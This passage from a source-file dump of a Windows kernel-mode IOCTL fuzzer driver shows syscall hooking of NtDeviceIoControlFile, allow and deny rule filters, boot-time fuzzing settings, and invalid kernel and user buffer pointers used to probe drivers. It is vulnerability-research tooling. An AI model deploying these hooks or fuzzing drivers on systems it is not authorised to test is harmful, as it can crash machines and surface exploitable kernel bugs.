0x%.8x\\n\", ns);\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN LoadFuzzerOptions(void)\n{\n HANDLE hKey = NULL;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n OBJECT_ATTRIBUTES ObjAttr;\n InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n // open service key\n ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr);\n if (NT_SUCCESS(ns))\n {\n\t\tPVOID Val = NULL;\n\t\tULONG ValSize = 0;\n BOOLEAN bBootFuzzingEnabled = FALSE;\n UNICODE_STRING usAllowRules, usDenyRules;\n RtlInitUnicodeString(&usAllowRules, L\"_allow_rules\");\n RtlInitUnicodeString(&usDenyRules, L\"_deny_rules\");\n\n // try to load options\n \n if (RegQueryValueKey(hKey, L\"_options\", REG_DWORD, &Val, &ValSize))\n {\n if (ValSize == sizeof(ULONG))\n {\n m_FuzzOptions = *(PULONG)Val;\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): m_FuzzOptions has been set to 0x%.8x\\n\", m_FuzzOptions);\n\n if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT)\n {\n bBootFuzzingEnabled = TRUE;\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() WARNING: Invalid size for '_options' value\\n\");\n }\n\n M_FREE(Val);\n }\n\n if (bBootFuzzingEnabled)\n {\n if (RegQueryValueKey(hKey, L\"_fuzzing_type\", REG_DWORD, &Val, &ValSize))\n {\n if (ValSize == sizeof(ULONG))\n {\n m_FuzzingType = *(PULONG)Val;\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): m_FuzzingType has been set to 0x%.8x\\n\", m_FuzzingType);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() WARNING: Invalid size for '_fuzzing_type' value\\n\");\n }\n\n M_FREE(Val);\n }\n\n // load allow rules\n LoadAllowRules(hKey, &usAllowRules);\n\n // load deny rules\n LoadDenyRules(hKey, &usDenyRules);\n } \n\n ZwClose(hKey);\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwOpenKey() fails; status: 0x%.8x\\n\", ns);\n } \n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nPFILE_OBJECT GetDeviceObjectPointer(PUNICODE_STRING usDeviceName)\n{\n PFILE_OBJECT pObject = NULL;\n HANDLE hDevice = NULL;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n OBJECT_ATTRIBUTES ObjAttr;\n IO_STATUS_BLOCK StatusBlock;\n\n InitializeObjectAttributes(&ObjAttr, usDeviceName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n ns = ZwOpenFile(\n &hDevice, \n FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE, \n &ObjAttr, \n &StatusBlock, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n FILE_SYNCHRONOUS_IO_NONALERT\n );\n if (NT_SUCCESS(ns))\n {\n ns = ObReferenceObjectByHandle(hDevice, 0, *IoFileObjectType, KernelMode, (PVOID *)&pObject, NULL);\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ObReferenceObjectByHandle() fails; status: 0x%.8x\\n\", ns);\n } \n\n ZwClose(hDevice);\n }\n else\n {\n DbgMsg(\n __FILE__, __LINE__, \"Error while opening \\\"%wZ\\\"; status: 0x%.8x\\n\", \n usDeviceName, ns\n );\n }\n\n return pObject;\n}\n//--------------------------------------------------------------------------------------\nNTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)\n{\n PIO_STACK_LOCATION stack;\n NTSTATUS ns = STATUS_SUCCESS;\n\n Irp->IoStatus.Status = ns;\n Irp->IoStatus.Information = 0;\n\n stack = IoGetCurrentIrpStackLocation(Irp);\n\n if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) \n {\n ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode; \n ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;\n PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;\n\n#ifdef DBG_IO\n\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): IRP_MJ_DEVICE_CONTROL 0x%.8x\\n\", Code);\n#endif\n Irp->IoStatus.Information = Size;\n\n switch (Code)\n {\n case IOCTL_DRV_CONTROL:\n {\n Buff->Status = S_ERROR;\n\n if (Size >= sizeof(REQUEST_BUFFER))\n {\n ULONG KdCommandLength = 0;\n IOCTL_FILTER Flt; \n RtlZeroMemory(&Flt, sizeof(Flt));\n\n if (Buff->AddObject.bDbgcbAction && Size > sizeof(REQUEST_BUFFER))\n {\n // check for zero byte at the end of the string\n if (Buff->Buff[Size - sizeof(REQUEST_BUFFER) - 1] != 0)\n { \n goto _bad_addobj_request;\n }\n\n // debugger command available\n KdCommandLength = strlen(Buff->Buff) + 1;\n }\n\n switch (Buff->Code)\n {\n case C_ADD_DRIVER:\n case C_ADD_DEVICE:\n case C_ADD_PROCESS:\n case C_ADD_IOCTL:\n {\n // check for zero byte at the end of the string\n if (Buff->AddObject.szObjectName[MAX_REQUEST_STRING - 1] != 0)\n { \n goto _bad_addobj_request;\n }\n\n if (Buff->Code == C_ADD_IOCTL)\n {\n Flt.IoctlCode = Buff->AddObject.IoctlCode;\n }\n else\n {\n ANSI_STRING asName;\n\n RtlInitAnsiString(\n &asName,\n Buff->AddObject.szObjectName\n );\n\n ns = RtlAnsiStringToUnicodeString(&Flt.usName, &asName, TRUE);\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\\n\", ns);\n goto _bad_addobj_request;\n }\n } \n \n switch (Buff->Code)\n {\n case C_ADD_DRIVER:\n\n // filter by driver file name/path\n Flt.Type = FLT_DRIVER_NAME;\n break;\n\n case C_ADD_DEVICE:\n\n // filter by device name\n Flt.Type = FLT_DEVICE_NAME;\n break;\n\n case C_ADD_PROCESS:\n\n // filter by caller process executable file name/path\n Flt.Type = FLT_PROCESS_PATH;\n break;\n\n case C_ADD_IOCTL:\n\n // filter by IOCTL control code value\n Flt.Type = FLT_IOCTL_CODE;\n break;\n } \n\n KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); \n\n __try\n {\n PIOCTL_FILTER f_entry = NULL;\n\n if (Buff->AddObject.bAllow)\n {\n // add filter rule into the ALLOW list\n if (f_entry = FltAddAllowRule(&Flt, KdCommandLength))\n {\n Buff->Status = S_SUCCESS;\n }\n } \n else\n {\n // add filter rule into the DENY list\n if (f_entry = FltAddDenyRule(&Flt, KdCommandLength))\n {\n Buff->Status = S_SUCCESS;\n }\n }\n\n if (f_entry)\n {\n f_entry->bDbgcbAction = Buff->AddObject.bDbgcbAction;\n if (KdCommandLength > 0)\n {\n strcpy(f_entry->szKdCommand, Buff->Buff);\n\n if (Buff->Code == C_ADD_IOCTL)\n {\n DbgPrint(\n \"\" __FUNCTION__ \"(): ControlCode=0x%.8x KdCommand=%s\\n\",\n f_entry->IoctlCode, f_entry->szKdCommand, f_entry->szKdCommand\n );\n }\n else\n {\n DbgPrint(\n \"\" __FUNCTION__ \"(): Object=\\\"%wZ\\\" KdCommand=%s\\n\",\n &f_entry->usName, f_entry->szKdCommand, f_entry->szKdCommand\n );\n }\n\n // ü\n DeferenceRuleCount(f_entry);\n }\n }\n } \n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n\n if (Buff->Status != S_SUCCESS &&\n Buff->Code != C_ADD_IOCTL)\n {\n RtlFreeUnicodeString(&Flt.usName);\n }\n_bad_addobj_request:\n break;\n }\n\n case C_DEL_OPTIONS:\n {\n DeleteSavedFuzzerOptions();\n break;\n } \n\n case C_SET_OPTIONS:\n {\n\t\t\t\t\t\t\tPLARGE_INTEGER FuzzThreadId = NULL;\n KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); \n\n __try\n {\n m_FuzzOptions = Buff->Options.Options;\n\n if (!(m_FuzzOptions & FUZZ_OPT_NO_SDT_HOOKS))\n {\n // hook nt!NtDeviceIoControlFile() syscall\n m_bHooksInitialized = SetUpHooks();\n }\n\n if (!(m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL) && m_hIoctlsLogFile)\n {\n ZwClose(m_hIoctlsLogFile);\n m_hIoctlsLogFile = NULL;\n\n DbgMsg(__FILE__, __LINE__, \"[+] IOCTLs log closed \\\"%wZ\\\"\\n\", &m_usIoctlsLogFilePath);\n }\n \n m_FuzzingType = Buff->Options.FuzzingType;\n m_UserModeData = Buff->Options.UserModeData;\n#ifdef _X86_\n m_FuzzThreadId = (HANDLE)Buff->Options.FuzzThreadId;\n#elif _AMD64_\n FuzzThreadId = (PLARGE_INTEGER)&m_FuzzThreadId;\n FuzzThreadId->HighPart = 0;\n FuzzThreadId->LowPart = Buff->Options.FuzzThreadId;\n#endif \n if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT)\n {\n // boot fuzzing mode has been enabled\n SaveFuzzerOptions();\n m_FuzzOptions = 0;\n }\n else\n {\n DeleteSavedFuzzerOptions();\n }\n\n Buff->Status = S_SUCCESS;\n } \n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n\n break;\n }\n\n case C_GET_DEVICE_INFO:\n {\n // check for zero byte at the end of the string\n if (Size > sizeof(REQUEST_BUFFER) &&\n Buff->Buff[Size - sizeof(REQUEST_BUFFER) - 1] == 0)\n { \n ANSI_STRING asDeviceName;\n UNICODE_STRING usDeviceName;\n\n RtlInitAnsiString(\n &asDeviceName,\n Buff->Buff\n );\n\n ns = RtlAnsiStringToUnicodeString(&usDeviceName, &asDeviceName, TRUE);\n if (NT_SUCCESS(ns))\n {\n // open disk device object\n PDEVICE_OBJECT TargetDeviceObject = NULL;\n PFILE_OBJECT TargetFileObject = NULL;\n#ifdef USE_IoGetDeviceObjectPointer\n ns = IoGetDeviceObjectPointer(\n &usDeviceName, \n GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,\n &TargetFileObject, \n &TargetDeviceObject\n );\n if (NT_SUCCESS(ns)) \n#else\n if (TargetFileObject = GetDeviceObjectPointer(&usDeviceName))\n {\n TargetDeviceObject = TargetFileObject->DeviceObject;\n }\n\n if (TargetFileObject)\n#endif\n {\n // pass device object information to the caller\n Buff->DeviceInfo.DeviceObjectAddr = TargetDeviceObject;\n if (TargetDeviceObject->DriverObject)\n {\n\t\t\t\t\t\t\t\t\t\t\tPLDR_DATA_TABLE_ENTRY pModuleEntry = NULL;\n\t\t\t\t\t\t\t\t\t\t\tPOBJECT_NAME_INFORMATION NameInfo = NULL;\n Buff->DeviceInfo.DriverObjectAddr = TargetDeviceObject->DriverObject;\n\n // get driver object name by pointer\n NameInfo = GetObjectName(TargetDeviceObject->DriverObject);\n if (NameInfo)\n {\n ANSI_STRING asDriverName;\n ns = RtlUnicodeStringToAnsiString(&asDriverName, &NameInfo->Name, TRUE);\n if (NT_SUCCESS(ns))\n {\n strncpy(\n Buff->DeviceInfo.szDriverObjectName,\n asDriverName.Buffer,\n min(MAX_REQUEST_STRING - 1, asDriverName.Length)\n );\n\n RtlFreeAnsiString(&asDriverName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\\n\", ns); \n }\n\n ExFreePool(NameInfo);\n }\n\n // get loader information entry for the driver\n pModuleEntry = (PLDR_DATA_TABLE_ENTRY)\n TargetDeviceObject->DriverObject->DriverSection;\n\n if (pModuleEntry && \n MmIsAddressValid(pModuleEntry) && \n ValidateUnicodeString(&pModuleEntry->FullDllName))\n {\n ANSI_STRING asDllName;\n ns = RtlUnicodeStringToAnsiString(&asDllName, &pModuleEntry->FullDllName, TRUE);\n if (NT_SUCCESS(ns))\n {\n strncpy(\n Buff->DeviceInfo.szDriverFilePath,\n asDllName.Buffer,\n min(MAX_REQUEST_STRING - 1, asDllName.Length)\n );\n\n RtlFreeAnsiString(&asDllName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\\n\", ns); \n }\n }\n\n Buff->Status = S_SUCCESS;\n } \n\n ObDereferenceObject(TargetFileObject);\n }\n#ifdef USE_IoGetDeviceObjectPointer\n else\n {\n DbgMsg(\n __FILE__, __LINE__, \n \"IoGetDeviceObjectPointer() fails for \\\"%wZ\\\", status: 0x%.8x\\n\", \n &usDeviceName, ns\n ); \n }\n#endif\n RtlFreeUnicodeString(&usDeviceName); \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\\n\", ns);\n }\n }\n\n break;\n }\n\n case C_GET_OBJECT_NAME:\n {\n PFILE_OBJECT pFileObject = NULL;\n ns = ObReferenceObjectByHandle(\n Buff->ObjectName.hObject, \n 0, \n *IoFileObjectType, \n KernelMode, \n (PVOID *)&pFileObject, \n NULL\n );\n if (NT_SUCCESS(ns))\n {\n if (pFileObject->DeviceObject)\n {\n // get name of the object\n POBJECT_NAME_INFORMATION NameInfo = GetObjectName(pFileObject->DeviceObject);\n if (NameInfo)\n { \n ANSI_STRING asName;\n ns = RtlUnicodeStringToAnsiString(&asName, &NameInfo->Name, TRUE);\n if (NT_SUCCESS(ns))\n {\n strncpy(\n Buff->ObjectName.szObjectName,\n asName.Buffer,\n min(MAX_REQUEST_STRING - 1, asName.Length)\n );\n\n Buff->Status = S_SUCCESS;\n\n RtlFreeAnsiString(&asName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\\n\", ns);\n }\n\n M_FREE(NameInfo);\n }\n }\n\n ObDereferenceObject(pFileObject);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"ObReferenceObjectByHandle() fails; status: 0x%.8x\\n\", ns);\n } \n\n break;\n }\n\n case C_CHECK_HOOKS:\n {\n if (m_bHooksInitialized)\n {\n Buff->CheckHooks.bHooksInstalled = TRUE;\n }\n else\n {\n Buff->CheckHooks.bHooksInstalled = FALSE;\n }\n\n break;\n }\n }\n }\n\n break;\n } \n\n default:\n {\n ns = STATUS_INVALID_DEVICE_REQUEST;\n Irp->IoStatus.Information = 0;\n break;\n } \n }\n }\n else if (stack->MajorFunction == IRP_MJ_CREATE) \n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): IRP_MJ_CREATE\\n\");\n\n#ifdef DBGPIPE\n\n DbgOpenPipe();\n#endif\n KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL);\n\n __try\n {\n // delete all filter rules\n FltFlushAllList();\n\n m_FuzzProcess = PsGetCurrentProcess();\n ObReferenceObject(m_FuzzProcess);\n } \n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n }\n else if (stack->MajorFunction == IRP_MJ_CLOSE) \n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): IRP_MJ_CLOSE\\n\"); \n\n KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); \n\n __try\n {\n // delete all filter rules\n FltFlushAllList();\n\n m_FuzzOptions = 0;\n\n if (m_FuzzProcess)\n {\n ObDereferenceObject(m_FuzzProcess);\n m_FuzzProcess = NULL;\n }\n }\n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n\n#ifdef DBGPIPE\n\n DbgClosePipe();\n#endif\n\n if (m_hIoctlsLogFile)\n {\n ZwClose(m_hIoctlsLogFile);\n m_hIoctlsLogFile = NULL;\n\n DbgMsg(__FILE__, __LINE__, \"[+] IOCTLs log closed \\\"%wZ\\\"\\n\", &m_usIoctlsLogFilePath);\n }\n }\n\n if (ns != STATUS_PENDING)\n { \n Irp->IoStatus.Status = ns;\n IoCompleteRequest(Irp, IO_NO_INCREMENT);\n }\n\n return ns;\n}\n//--------------------------------------------------------------------------------------\nvoid DriverUnload(PDRIVER_OBJECT DriverObject)\n{ \n\tLARGE_INTEGER Timeout = { 0 };\n DbgMsg(__FILE__, __LINE__, \"DriverUnload()\\n\");\n\n PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, TRUE); \n\n // delete device\n IoDeleteSymbolicLink(&m_usDosDeviceName);\n IoDeleteDevice(m_DeviceObject);\n\n KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); \n\n // unhook NtDeviceIoControlFile() system service\n RemoveHooks();\n\n WaitHookRemoveComplete(); \n\n __try\n {\n // delete all filter rules\n FltUnInitRuleList();\n } \n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n \n FreeProcessInfo();\n LstFree(m_ProcessesList); \n\n Timeout.QuadPart = RELATIVE(SECONDS(1));\n KeDelayExecutionThread(KernelMode, FALSE, &Timeout);\n}\n//--------------------------------------------------------------------------------------\nNTSTATUS NTAPI DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)\n{ \n\tLARGE_INTEGER TickCount;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n //DbgInit();\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): '%wZ' \"IFMT\"\\n\", RegistryPath, KernelGetModuleBase(\"ioctlfuzzer.exe\")); \n\n DriverObject->DriverUnload = DriverUnload;\n\n RtlGetVersion(&m_VersionInformation);\n\n ns = FltInitRuleList();\n if(!NT_SUCCESS(ns))\n return ns;\n\n // initialize random number generator\n \n KeQueryTickCount(&TickCount);\n init_genrand(TickCount.LowPart);\n\n // Get offset of KTHREAD::PreviousMode field\n m_KTHREAD_PrevMode = GetPrevModeOffset();\n if (m_KTHREAD_PrevMode == 0)\n {\n DbgMsg(__FILE__, __LINE__, \"Error while obtaining KTHREAD::PreviousMode offset\\n\");\n return STATUS_UNSUCCESSFUL;\n }\n\n m_ProcessesList = LstInit();\n if (m_ProcessesList == NULL)\n {\n return STATUS_UNSUCCESSFUL;\n }\n\n if (AllocUnicodeString(&m_RegistryPath, RegistryPath->MaximumLength))\n {\n RtlCopyUnicodeString(&m_RegistryPath, RegistryPath);\n }\n else\n {\n return STATUS_UNSUCCESSFUL;\n }\n\n KeInitializeMutex(&m_CommonMutex, 0);\n\n RtlInitUnicodeString(&m_usDeviceName, L\"\\\\Device\\\\\" DEVICE_NAME);\n RtlInitUnicodeString(&m_usDosDeviceName, L\"\\\\DosDevices\\\\\" DEVICE_NAME); \n\n // create driver communication device\n ns = IoCreateDevice(\n DriverObject, \n 0, \n &m_usDeviceName, \n FILE_DEVICE_UNKNOWN, \n FILE_DEVICE_SECURE_OPEN, \n FALSE, \n &m_DeviceObject\n );\n if (NT_SUCCESS(ns))\n {\n DriverObject->MajorFunction[IRP_MJ_CREATE] = \n DriverObject->MajorFunction[IRP_MJ_CLOSE] = \n DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;\n\n ns = IoCreateSymbolicLink(&m_usDosDeviceName, &m_usDeviceName);\n if (NT_SUCCESS(ns))\n {\n ns = PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, FALSE);\n if (NT_SUCCESS(ns))\n {\n // load options for boot fuzzing (if available)\n LoadFuzzerOptions();\n\n if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT)\n {\n // hook nt!NtDeviceIoControlFile() syscall\n m_bHooksInitialized = SetUpHooks();\n }\n\n return STATUS_SUCCESS;\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"PsSetCreateProcessNotifyRoutine() fails: 0x%.8x\\n\", ns);\n }\n\n IoDeleteSymbolicLink(&m_usDosDeviceName);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"IoCreateSymbolicLink() fails: 0x%.8x\\n\", ns);\n }\n\n IoDeleteDevice(m_DeviceObject);\n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"IoCreateDevice() fails: 0x%.8x\\n\", ns);\n }\n\n return STATUS_UNSUCCESSFUL;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.h", "content": "\nvoid SetPreviousMode(KPROCESSOR_MODE Mode);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/drvcomm.h", "content": "#define DEVICE_NAME L\"IOCTLfuzzer\"\n#define DBG_PIPE_NAME L\"IOCTLfuzzer\"\n#define DBG_PIPE_NAME_A \"IOCTLfuzzer\"\n\n#define IOCTL_DRV_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)\n\n#define S_ERROR 0x00\n#define S_SUCCESS 0x01\n\n#define C_ADD_DEVICE 0x01\n#define C_ADD_DRIVER 0x02\n#define C_ADD_IOCTL 0x03\n#define C_ADD_PROCESS 0x04\n#define C_SET_OPTIONS 0x05\n#define C_GET_DEVICE_INFO 0x06\n#define C_CHECK_HOOKS 0x07\n#define C_DEL_OPTIONS 0x08\n#define C_GET_OBJECT_NAME 0x09\n\n// fuzzing options\n#define FUZZ_OPT_LOG_IOCTL 0x00000001\n#define FUZZ_OPT_LOG_IOCTL_BUFFERS 0x00000002\n#define FUZZ_OPT_LOG_IOCTL_GLOBAL 0x00000004\n#define FUZZ_OPT_LOG_EXCEPTIONS 0x00000008\n#define FUZZ_OPT_LOG_DEBUG 0x00000010\n#define FUZZ_OPT_FUZZ 0x00000020\n#define FUZZ_OPT_FUZZ_SIZE 0x00000040\n#define FUZZ_OPT_FUZZ_FAIR 0x00000080\n#define FUZZ_OPT_FUZZ_BOOT 0x00000100\n#define FUZZ_OPT_NO_SDT_HOOKS 0x00000200\n\ntypedef ULONG FUZZING_TYPE;\n\n#define FuzzingType_Random 0x00000001\n#define FuzzingType_Dword 0x00000002\n\n// area to store some variables, that must located in user mode\n#pragma pack(push, 1)\ntypedef struct _USER_MODE_DATA\n{\n IO_STATUS_BLOCK IoStatus;\n\n} USER_MODE_DATA,\n*PUSER_MODE_DATA;\n#pragma pack(pop)\n\n#define MAX_REQUEST_STRING 0x100\n\n#pragma pack(push, 1)\ntypedef struct _REQUEST_BUFFER\n{\n // operation status (see S_* definitions)\n ULONG Status;\n \n // operation code (see C_* definitions)\n ULONG Code;\n\n union\n {\n struct\n {\n ULONG Options;\n ULONG FuzzThreadId;\n FUZZING_TYPE FuzzingType;\n PUSER_MODE_DATA UserModeData;\n ULONG KiDispatchException_Offset;\n\n } Options;\n\n struct\n {\n PVOID DeviceObjectAddr;\n PVOID DriverObjectAddr;\n char szDriverObjectName[MAX_REQUEST_STRING];\n char szDriverFilePath[MAX_REQUEST_STRING];\n\n } DeviceInfo;\n\n struct\n {\n // for C_ADD_IOCTL\n ULONG IoctlCode;\n\n // for all C_ADD_*\n BOOLEAN bAllow;\n\n // for C_ADD_DEVICE, C_ADD_DRIVER and C_ADD_PROCESS\n char szObjectName[MAX_REQUEST_STRING];\n\n /* \n If TRUE -- debugger command, that stored in Buff[], \n must be executed for every IOCTL, that has been matched\n by this object.\n */\n BOOLEAN bDbgcbAction;\n\n } AddObject;\n\n struct\n {\n HANDLE hObject;\n char szObjectName[MAX_REQUEST_STRING];\n\n } ObjectName;\n\n struct\n {\n BOOLEAN bHooksInstalled;\n\n } CheckHooks;\n }; \n \n char Buff[1];\n\n} REQUEST_BUFFER,\n*PREQUEST_BUFFER;\n#pragma pack(pop)\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/extern.h", "content": "/* -----------------------------------------------------------------------------\n * extern.h\n *\n * Copyright (c) 2004, 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_EXTERN_H\n#define UD_EXTERN_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \n#include \"types.h\"\n\n/* ============================= PUBLIC API ================================= */\n\nextern void ud_init(struct ud*);\n\nextern void ud_set_mode(struct ud*, uint8_t);\n\nextern void ud_set_pc(struct ud*, uint64_t);\n\nextern void ud_set_input_hook(struct ud*, int (*)(struct ud*));\n\nextern void ud_set_input_buffer(struct ud*, uint8_t*, size_t);\n\n#ifndef __UD_STANDALONE__\nextern void ud_set_input_file(struct ud*, FILE*);\n#endif /* __UD_STANDALONE__ */\n\nextern void ud_set_vendor(struct ud*, unsigned);\n\nextern void ud_set_syntax(struct ud*, void (*)(struct ud*));\n\nextern void ud_input_skip(struct ud*, size_t);\n\nextern int ud_input_end(struct ud*);\n\nextern unsigned int ud_decode(struct ud*);\n\nextern unsigned int ud_disassemble(struct ud*);\n\nextern void ud_translate_intel(struct ud*);\n\nextern void ud_translate_att(struct ud*);\n\nextern char* ud_insn_asm(struct ud* u);\n\nextern uint8_t* ud_insn_ptr(struct ud* u);\n\nextern uint64_t ud_insn_off(struct ud*);\n\nextern char* ud_insn_hex(struct ud*);\n\nextern unsigned int ud_insn_len(struct ud* u);\n\nextern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c);\n\n/* ========================================================================== */\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.c", "content": "#include \"stdafx.h\"\n\nNT_DEVICE_IO_CONTROL_FILE old_NtDeviceIoControlFile = NULL;\n\n/**\n * Fuzzing settings\n */\nULONG m_FuzzOptions = 0;\nFUZZING_TYPE m_FuzzingType = FuzzingType_Random;\n/**\n * Exported variables for acessing to the \n * last IOCTL request information from the kernel debugger.\n */\nPDEVICE_OBJECT currentDeviceObject = NULL;\nPDRIVER_OBJECT currentDriverObject = NULL;\nULONG currentIoControlCode = 0;\nPVOID currentInputBuffer = NULL;\nULONG currentInputBufferLength = 0;\nPVOID currentOutputBuffer = NULL;\nULONG currentOutputBufferLength = 0;\n\n/**\n * Handle and objetc pointer of the fuzzer's process (uses for fair fuzzing mode)\n */\nHANDLE m_FuzzThreadId = 0;\nPEPROCESS m_FuzzProcess = NULL;\nPUSER_MODE_DATA m_UserModeData = NULL;\n\n/**\n* Some fuzzing parameters\n*/\n#define RANDOM_FUZZING_ITERATIONS 10\n#define BUFFERED_FUZZING_ITERATIONS 5\n#define DWORD_FUZZING_MAX_LENGTH 0x2000\n#define DWORD_FUZZING_DELTA 4\n\nULONG g_newDeviceIoControlFileCallCount = 0;\n\n#ifdef _X86_\n\n// pointer values for invalid kernel and user buffers\n#define KERNEL_BUFFER_ADDRESS (PVOID)(0xFFFF0000)\n#define USER_BUFFER_ADDRESS (PVOID)(0x00001000)\n\n#elif _AMD64_\n\n#define KERNEL_BUFFER_ADDRESS (PVOID)(0xFFFFFFFFFFFF0000)\n#define USER_BUFFER_ADDRESS (PVOID)(0x0000000000001000)\n\n#endif\n\n// constants for dword fuzzing\nULONG m_DwordFuzzingConstants[] =\n{\n 0x00000000,\n 0x00001000,\n 0xFFFF0000,\n 0xFFFFFFFF\n};\n\n// defined in driver.cpp\nextern PDEVICE_OBJECT m_DeviceObject;\nextern KMUTEX m_CommonMutex;\nextern PCOMMON_LST m_ProcessesList;\n//--------------------------------------------------------------------------------------\nPCOMMON_LST_ENTRY LookupProcessInfo(PEPROCESS Process)\n{\n PCOMMON_LST_ENTRY process_entry = NULL;\n KIRQL OldIrql;\n KeAcquireSpinLock(&m_ProcessesList->ListLock, &OldIrql);\n\n __try\n {\n PCOMMON_LST_ENTRY e = m_ProcessesList->list_head;\n\n // enumerate all processes\n while (e)\n {\n if (e->Data && e->DataSize == sizeof(LST_PROCESS_INFO))\n { \n PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)e->Data;\n if (Info->Process == Process)\n {\n process_entry = e;\n break;\n }\n }\n\n e = e->next;\n }\n } \n __finally\n {\n KeReleaseSpinLock(&m_ProcessesList->ListLock, OldIrql);\n }\n\n return process_entry;\n}\n//--------------------------------------------------------------------------------------\nvoid FreeProcessInfo(void)\n{\n KIRQL OldIrql;\n KeAcquireSpinLock(&m_ProcessesList->ListLock, &OldIrql);\n\n __try\n {\n PCOMMON_LST_ENTRY e = m_ProcessesList->list_head;\n\n // enumerate all processes\n while (e)\n {\n if (e->Data && e->DataSize == sizeof(LST_PROCESS_INFO))\n { \n PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)e->Data;\n if (Info->usImagePath.Buffer)\n {\n // free process image path\n RtlFreeUnicodeString(&Info->usImagePath);\n }\n }\n\n e = e->next;\n }\n } \n __finally\n {\n KeReleaseSpinLock(&m_ProcessesList->ListLock, OldIrql);\n }\n}\n//--------------------------------------------------------------------------------------\nvoid NTAPI ProcessNotifyRoutine(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create)\n{\n PEPROCESS Process;\n NTSTATUS ns = PsLookupProcessByProcessId(ProcessId, &Process);\n if (NT_SUCCESS(ns))\n {\n KeWaitForMutexObject(&m_CommonMutex, UserRequest, KernelMode, FALSE, NULL);\n\n __try\n {\n if (Create)\n { \n // process has been created\n UNICODE_STRING ImagePath;\n\n // get full image path for this process\n if (GetProcessFullImagePath(Process, &ImagePath))\n {\n WCHAR wcProcess[0x200];\n UNICODE_STRING usProcess;\n\t\t\t\t\tLST_PROCESS_INFO Info;\n\n LogData(\"Process \"IFMT\" started: '%wZ' (PID: %d)\\r\\n\\r\\n\", 